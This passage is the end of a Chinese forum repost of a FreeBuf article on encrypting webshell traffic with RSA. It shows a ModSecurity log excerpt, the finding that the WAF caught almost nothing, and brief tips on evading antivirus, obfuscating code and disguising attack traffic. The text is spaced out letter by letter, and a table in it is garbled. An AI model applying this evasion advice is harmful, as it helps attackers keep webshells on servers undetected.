,   g c = 0 R e s p o n s e - B o d y - T r a n s f o r m e d :   D e c h u n k e d P r o d u c e r :   M o d S e c u r i t y   f o r   A p a c h e / 2 . 9 . 2   ( h t t p : / / w w w . m o d s e c u r i t y . o r g / ) ;   O W A S P _ C R S / 3 . 2 . 0 . S e r v e r :   A p a c h e / 2 . 4 . 6   ( C e n t O S )   O p e n S S L / 1 . 0 . 2 k - f i p s   P H P / 5 . 6 . 4 0 E n g i n e - M o d e :   " D E T E C T I O N _ O N L Y "
w a f 也 只 能 检 测 到 H o s t   h e a d e r   i s   a   n u m e r i c   I P   a d d r e s s , 这 基 本 是 说 w a f 对 于 R S A 加 密 的 w e b s h e l l 流 量 基 本 没 什 么 防 护 能 力 ， 往 后 的 安 全 设 备 检 测 只 能 依 赖 于 杀 毒 软 件 。 这 样 的 加 密 程 度 对 笔 者 本 次 实 验 来 说 已 经 够 用 了 。 但 是 同 样 还 存 在 着 很 多 很 多 的 问 题 ， 比 如 绕 杀 软 ， 混 淆 代 码 等 等 ， 每 一 个 方 向 都 需 要 专 注 、 细 心 、 长 久 的 投 入 。 P S : 隐 藏 攻 击 流 量 也 可 以 通 过 改 U A , 设 置 m u l t i 发 包 , 花 样 过 狗 过 盾 甚 至 过 人 等 等 。 过 狗 千 万 条 , 安 全 第 一 条 , 连 马 不 谨 慎 , 队 友 两 行 泪 。 参 考 链 接 :   h t t p : / / w w w . t e s t 6 6 6 . m e / a r c h i v e s / 2 8 9 /   h t t p s : / / w w w . c n b l o g s . c o m / j i a n m i n g y u a n / p / 5 9 0 0 0 6 4 . h t m l * 本 文 作 者 ： 本 文 作 者 ： L i t t l e T 1 g e r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 |   A p a c h e - E r r o r   |   M e s s a g e   |   匹 配 规 则 数   |   l e v e l   | |   - - - - - - - - - - - -   |   - - - - - - -   |   - - - - - - - - - -   |   - - - - -   | |   1                         |   1               |   1                     |   - -         |
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理